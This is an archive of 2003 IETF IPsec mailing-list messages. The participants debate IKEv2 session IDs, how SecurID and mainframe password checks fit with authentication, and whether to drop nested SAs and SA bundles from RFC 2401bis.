PAA15498 Wed, 27 Aug 2003 15:06:19 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <20030825224250.GI1319@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> <20030819051220.GL27057@binky.central.sun.com> <20030820032523.GK27057@binky.central.sun.com> <20030820035520.GC19235@binky.central.sun.com> <20030822153949.GY1319@binky.central.sun.com> <20030825224250.GI1319@binky.central.sun.com> Date: Wed, 27 Aug 2003 15:10:39 -0400 To: Nicolas Williams From: Stephen Kent Subject: Re: IKEv2 SA rekeying - naming an initial SA Cc: Michael Richardson , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 15:42 -0700 8/25/03, Nicolas Williams wrote: >On Mon, Aug 25, 2003 at 08:39:36AM -0400, Stephen Kent wrote: >> At 8:39 -0700 8/22/03, Nicolas Williams wrote: >> >If there will never be anon IPsec then the AUTH values will do - but I'd >> >like to not discount the possibility that there might be an anon IPsec >> >formulation in the future. >> >> Any admin managing an IPsec environment has the ability to issue >> credentials that are effectively anonymous, and that allows the >> effect of anonymous use of IPsec, in a given context. Unless the WG >> changes direction in a significant way, to support unauthenticated >> IPsec, then it would be inappropriate to use the possibility of this >> change as an input in deciding on how to make a decision re this IKE >> v2 authentication issue. > >Sure, but this does not dispose of the issue - you're merely rejecting >one rationale for specifying a "session ID" as anything other than the >AUTH values. But then, if the WG ignores the session ID issue we can >default to using the AUTH values as such, since they are bound to the >KE. I'm rejecting an argument for why we should change the specs to accommodate a function that we can already provide, irrespective of the discussion about session IDs. Steve From owner-ipsec@lists.tislabs.com Wed Aug 27 14:45:32 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7RLjVgc087313; Wed, 27 Aug 2003 14:45:31 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA09398 Wed, 27 Aug 2003 14:23:49 -0400 (EDT) Cc: ipsec@lists.tislabs.com Message-ID: <3F4CF5C2.7070704@lucent.com> Date: Wed, 27 Aug 2003 14:17:38 -0400 From: Uri Blumenthal Organization: Lucent Technologies / Bell Labs User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (CK-LucentTPES) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Yoav Nir Original-CC: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues References: <11F4181E-D605-11D7-8A52-000A95834BAA@checkpoint.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On 8/24/2003 3:32 AM, Yoav Nir wrote: > Hi Uri, Hi, and thanks for your response. > Re: not using kg methods. SecurID belongs to a certain vendor, and > they can create a kg method that suits them. In fact, they have, but > they won't publish the spec, so I can't implement it. Yes, but what I had in mind is - at the very worst we can mix the data from the exchange into the key generation mechanism input. Would it not make sense? > Now let's take another example. A customer keeps all his > username/passwords on the mainframe, because that's the only computer > they trust. The only access our IKE gateway has to the mainframe is > running something called a RACINIT, that allows you to pass the > username and the password, and get a yes/no response. How can we get > this to work, if the gateway never knows what the password is?.... Yes I see your point... Thanks! Regards, Uri. From owner-ipsec@lists.tislabs.com Wed Aug 27 17:57:43 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7S0vggc094772; Wed, 27 Aug 2003 17:57:43 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA01441 Wed, 27 Aug 2003 19:09:05 -0400 (EDT) Cc: Yoav Nir , ipsec@lists.tislabs.com Message-ID: <3F4D21F2.8040308@lucent.com> Date: Wed, 27 Aug 2003 17:26:10 -0400 From: Uri Blumenthal Organization: Lucent Technologies / Bell Labs User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (CK-LucentTPES) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent Original-CC: Yoav Nir , ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues References: <11F4181E-D605-11D7-8A52-000A95834BAA@checkpoint.com> <3F4CF5C2.7070704@lucent.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On 8/27/2003 2:51 PM, Stephen Kent wrote: >>Yes, but what I had in mind is - at the very worst we can mix the >>data from the exchange into the key generation mechanism input. >> >>Would it not make sense? > > We have managed to cleanly separate the key generation function from > the authentication function in IKE v2 and I think it would be > preferable to keep them separate. Well, you can consider SecureID output as one of the nonces, or append it to the client's nonce... I see your point - but I'm sure you see mine. From owner-ipsec@lists.tislabs.com Wed Aug 27 19:53:29 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7S2rQgc098654; Wed, 27 Aug 2003 19:53:29 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA06116 Wed, 27 Aug 2003 21:02:30 -0400 (EDT) Cc: Yoav Nir , ipsec@lists.tislabs.com Message-ID: <3F4D21F2.8040308@lucent.com> Date: Wed, 27 Aug 2003 17:26:10 -0400 From: Uri Blumenthal Organization: Lucent Technologies / Bell Labs User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (CK-LucentTPES) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent Original-CC: Yoav Nir , ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues References: <11F4181E-D605-11D7-8A52-000A95834BAA@checkpoint.com> <3F4CF5C2.7070704@lucent.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On 8/27/2003 2:51 PM, Stephen Kent wrote: >>Yes, but what I had in mind is - at the very worst we can mix the >>data from the exchange into the key generation mechanism input. >> >>Would it not make sense? > > We have managed to cleanly separate the key generation function from > the authentication function in IKE v2 and I think it would be > preferable to keep them separate. Well, you can consider SecureID output as one of the nonces, or append it to the client's nonce... I see your point - but I'm sure you see mine. From owner-ipsec@lists.tislabs.com Thu Aug 28 15:08:33 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7SM8Wgc002906; Thu, 28 Aug 2003 15:08:33 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA05710 Thu, 28 Aug 2003 17:05:09 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@localhost Message-Id: In-Reply-To: <3F4D21F2.8040308@lucent.com> References: <11F4181E-D605-11D7-8A52-000A95834BAA@checkpoint.com> <3F4CF5C2.7070704@lucent.com> <3F4D21F2.8040308@lucent.com> Date: Thu, 28 Aug 2003 16:49:29 -0400 To: Uri Blumenthal From: Stephen Kent Subject: Re: The remaining IKEv2 issues Cc: Yoav Nir , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 17:26 -0400 8/27/03, Uri Blumenthal wrote: >On 8/27/2003 2:51 PM, Stephen Kent wrote: >>>Yes, but what I had in mind is - at the very worst we can mix the >>>data from the exchange into the key generation mechanism input. >>> >>>Would it not make sense? >> >> We have managed to cleanly separate the key generation function from >> the authentication function in IKE v2 and I think it would be >> preferable to keep them separate. > >Well, you can consider SecureID output as one of the nonces, >or append it to the client's nonce... I see your point - but >I'm sure you see mine. I fear you are right, i.e., I don't see your point. But, unless other folks want to pursue approach this at this late stage in the IKE work, let's not devote more time to debating this. Steve From owner-ipsec@lists.tislabs.com Fri Aug 29 17:52:57 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7U0qugc020021; Fri, 29 Aug 2003 17:52:56 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA09722 Fri, 29 Aug 2003 19:57:36 -0400 (EDT) Message-Id: <200308292339.h7TNdxcJ010996@coredump.cs.columbia.edu> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Karen Seo Cc: ipsec@lists.tislabs.com, kivinen@ssh.fi Subject: Re: IPsec issue #46 -- No need for nested SAs or SA bundles In-reply-to: Your message of "Wed, 27 Aug 2003 11:10:02 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 29 Aug 2003 19:39:59 -0400 From: "Angelos D. Keromytis" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Just to start some discussion on this issue: wouldn't this break (or make it very difficult) for IPSP to deal with intermediate gateways etc. ? The advantage of the current model with respect to nested IPsec processing is that it allows an implementation to inject a new SPD entry (and associated SAs), and not having to link that SA to a bundle but instead deal with the SPD. -Angelos In message , Karen Seo writes: >Folks, > >Here's a description and proposed approach for: > >IPsec Issue #: 46 > >Title: No need for nested SAs or SA bundles > >Description: There is no mandate to support nested SAs or SA bundles. > It would be easy to include support for the simple > AH+ESP combination that IKEv1 was able to negotiate, and > that 2401 mandates, if that combination is still viewed > as needed. However, IKEv1 was not able to negotiate any > other nested protocol combinations and IKEv2 does not > support negotiation of SA bundles. > >Proposed approach: > > 1. There will be no support for nesting or SA bundles except via > iteration through IPsec processing. Add text to the discussion > of differences between 2401 and 2401bis, along the lines of: > > "The requirement to support nesting of SAs and the concept of > SA bundles has been removed. An SPD entry specifies application > or removal of only one IPsec header. An implementation MAY > choose to offer SA nesting via appropriate configuration of > SPDs and forwarding tables. After the packet has passed through > IPsec processing, it can be redirected through the IPsec module > again via local, ipsec-virtual-interfaces and use of the [still > under discussion] forwarding lookup function, to cause more > than one layer of IPsec headers to be applied or removed. Note > that to accomplish this, multiple entries would have to be > created, in distinct SPDs, each specifying a layer of IPsec > processing to be applied. There is no IKE support for > negotiating nested SAs, which implies that manual configuration > or use of additional policy management protocols would be > required to coordinate processing at peer IPsec implementations." > >Thank you, >Karen From owner-ipsec@lists.tislabs.com Fri Aug 29 23:53:48 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7U6rmgc044095; Fri, 29 Aug 2003 23:53:48 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id BAA05669 Sat, 30 Aug 2003 01:57:07 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: Re: IPsec issue #46 -- No need for nested SAs or SA bundles In-reply-to: Your message of "Fri, 29 Aug 2003 19:39:59 EDT." <200308292339.h7TNdxcJ010996@coredump.cs.columbia.edu> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Fri, 29 Aug 2003 23:15:49 -0400 Message-ID: <12109.1062213349@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Angelos" == Angelos D Keromytis writes: Angelos> Just to start some discussion on this issue: wouldn't this break Angelos> (or make it very difficult) for IPSP to deal with intermediate Angelos> gateways etc. ? The advantage of the current model with respect It isn't clear to me if it does or doesn't. Just because IKEv2 can't negotiate bundles, doesn't mean that I can't negotiate multiple things to do a 5-tuple with different end points. FreeS/WAN is currently dealing with the question of how much information we can derive from the policy about the ordering of this nesting, vs how much we need to be told about. It also isn't clear to me why it is any business of 2401bis to say anything about this. Permitting looping in SA processing is not a good idea - the policy daemon should do the looping and tell the kernel what to do. But again, WHY IS THIS THE DOMAIN OF THE IETF? As expressed, it appears that 2401bis is addressing the "kernel" issues, not the architecture. It is turning the problem into a design issue, rather than a functional requirements issue. There is a functional requirement for the *SYSTEM* to deal with multiple operations on a 5-tuple. It is not the place for the IETF to tell me where to put that functionality. ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP1AW44qHRg3pndX9AQFW1AP/amYB2K2ixhqhdG+c4NGvLqyLZ9Atq1i0 Dj7khLu/fTdDcAxWPQeWJIJ72r4AF6wqRdh+H1w2lgjfyeo62JHkioM9CsWQ4QS4 JGXq8xzHUoblN5Pq54T+CY2HKH7bPRIuAeXuTNt30+RSkQQxtaBptCdi1dIxTEwA atR1jotp8LM= =J4De -----END PGP SIGNATURE-----